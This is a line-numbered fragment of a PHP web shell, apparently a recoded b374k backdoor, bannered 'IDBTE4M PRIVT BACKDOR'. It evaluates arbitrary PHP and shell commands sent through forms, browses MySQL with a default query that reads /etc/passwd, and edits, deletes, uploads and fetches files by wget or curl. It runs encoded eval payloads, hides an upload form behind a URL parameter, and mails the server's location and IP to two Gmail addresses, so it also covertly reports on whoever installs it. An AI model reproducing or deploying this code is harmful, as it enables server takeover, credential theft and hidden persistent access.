3358 </body>
3359</html><br><br><br><br>';
3360 }
3361}
3362 ?>
3363
3364 </div></div></div></div></div></div>
3365<?php
3366 if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
3367 <form action="?y=<?php echo $pwd; ?>&x=php" method="post">
3368 <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); }
3369 else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea>
3370 <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form>
3371 <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
3372 if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
3373 $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
3374 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){ $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
3375 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
3376 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&\">[ databases ]</a>"; if(isset($_GET['db']))
3377 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
3378 if(isset($_GET['table'])) $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
3379 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
3380 $msg .= "</div>"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
3381 $db = $_GET['db']; $query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";
3382 $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
3383 $tables = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables);
3384 foreach($tables as $table){ $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>"; } $msg .= "</table>"; }
3385 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $columns = array();
3386 $msg = "<table class=\"explore\" style=\"width:99%;\">"; $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table); while(list($column) = @mysql_fetch_row($hasil)){ $msg .= "<th>$column</th>"; $kolum = $column; } $msg .= "</tr>"; $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); list($total) = mysql_fetch_row($hasil); if(isset($_GET['z']))
3387 $page = (int) $_GET['z']; else $page = 1; $pagenum = 100; $totpage = ceil($total / $pagenum); $start = (($page - 1) * $pagenum); $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); while($datas = @mysql_fetch_assoc($hasil)){ $msg .= "<tr>"; foreach($datas as $data){
3388 if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; $head = "<div style=\"padding:10px 0 0 6px;\"> <form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
3389 for($i = 1;$i <= $totpage;$i++){ $head .= "<option value=\"".$i."\">".$i."</option>"; if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; } $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; $msg = $msgq.$head.$msg; } elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){ $db = $_GET['db']; $query = magicboom($_GET['sqlquery']); $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; @mysql_select_db($db); $querys = explode(";",$query); foreach($querys as $query){
3390 if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; $msg .= "</tr>"; for($i=0;$i<@mysql_num_rows($hasil);$i++) { $rows=@mysql_fetch_array($hasil); $msg .= "<tr>"; for($j=0;$j<@mysql_num_fields($hasil);$j++) {
3391 if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $msg .= "<td>".$dataz."</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; } else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else { $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $dbs = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
3392 $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>"; } $msg .= "</table>"; } @mysql_close($con); } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; echo $msg; } else{ ?>
3393 <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
3394 <input type="hidden" name="x" value="mysql" />
3395 <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr>
3396 <tr><td> Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
3397 <tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
3398 <tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
3399 <tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form>
3400 <?php }}
3401 elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ @ob_start(); @eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"<body>")+6; $akhir = strpos($buff,"</body>"); echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; } elseif(isset($_GET['x']) && ($_GET['x'] == 'logout')){ @session_start(); @session_unregister("login"); echo "<meta http-equiv='refresh' content='0; url=?y=".$pwd."' />"; "</div>"; }
3402 elseif(isset($_GET['jak']) && ($_GET['jak'] == 'jump')){ @eval(gzinflate(base64_decode($jumper))); "</div>"; }
3403 elseif(isset($_GET['jak']) && ($_GET['jak'] == 'wpp')){ @eval(gzinflate(base64_decode($wpress))); "</div>"; }
3404
3405 elseif(isset($_GET['view']) && ($_GET['view'] != "")){ if(is_file($_GET['view'])){ if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span> <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
3406 if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "</div>"; } else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time());
3407 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?>
3408 <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
3409 <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content">
3410 <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
3411 <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr> </table> </form> <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; } elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']);
3412 $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?>
3413 <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
3414 <table class="tabnet" style="width:320px;padding:0 1px;">
3415 <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr>
3416 <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
3417 <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
3418 <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td>
3419 <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table>
3420 <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
3421 <?php if(isset($_GET['jak']) && ($_GET['jak'] == '?')){ @ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); $tujuanmail = 'kefiex403@gmail.com'; $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]"; mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]"); }?>
3422 <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?> <form action="?y=<?php echo $pwd; ?>&x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
3423 <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php } else { if(isset($_GET['delete']) && ($_GET['delete'] != "")){ $file = $_GET['delete']; @unlink($file); } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR)); } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ $path = $pwd.$_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd,$prompt); echo $buff; } ?>
3424 <p><center><div class="info">-=[ IDBTE4M PRIVT BACKDOR Recoded By JakRapp ]=-</div>
3425 <?php
3426$sgb2= "jakataruna09@gmail.com";
3427$ip = getenv("REMOTE_ADDR");
3428$host= gethostname();
3429$ips = gethostbyname($host);
3430$server = $_SERVER['SERVER_NAME'];
3431$shost = $_SERVER['HTTP_HOST'];
3432$pageName = basename($_SERVER['SCRIPT_NAME']);
3433$dir = $_SERVER["PHP_SELF"];
3434date_default_timezone_set("Asia/Jakarta");
3435$date = date("d F Y");
3436$time = date("H:i:s");
3437$message .= "=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [ Uploader Result ] +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n";
3438$message .= "Klien IP : ".$ip."\n";
3439$message .= "Server IP : ".$ips."\n";
3440$message .= "HostName : ".$host."\n";
3441$message .= "Domain : ".$server."\n";
3442$message .= "Letak uploader : ".$dir."/".$pageName."?jakrapp\n";
3443$message .= "Tanggal : ".$date."\n";
3444$message .= "Waktu eksekusi : ".$time."\n";
3445$message .= "=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [ Done ] +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n";
3446$subject = "Uploader $server";
3447$headers = "From: info@jakrapp.com\r\n";
3448mail($sgb2,$subject,$message,$headers);
3449mail($send,$subject,$message,$headers);
3450?>
3451<?php if (isset($_GET['jakrapp'])) {
3452 echo "<body bgcolor=white>
3453<font color=black size=3>";
3454 echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
3455<label for=\"file\"></label>
3456<input type=\"file\" name=\"file\" id=\"file\" />
3457<br />
3458<input type=\"submit\" name=\"submit\" value=\"UPLOAD\">
3459</form>";
3460 if ($_FILES["file"]["error"] > 0) {
3461 echo "Error: " . $_FILES["file"]["error"] . "<br />";
3462 } else {
3463 echo "Upload: " . $_FILES["file"]["name"] . "<br />";
3464 echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
3465 echo "Stored in: " . $_FILES["file"]["tmp_name"];
3466 }
3467 if (file_exists("" . $_FILES["file"]["name"])) {
3468 echo $_FILES["file"]["name"] . " already exists. ";
3469 } else {
3470 move_uploaded_file($_FILES["file"]["tmp_name"], "" . $_FILES["file"]["name"]);
3471 echo "<br>Stored in: " . "" . $_FILES["file"]["name"];
3472 echo "<hr>";
3473 }
3474}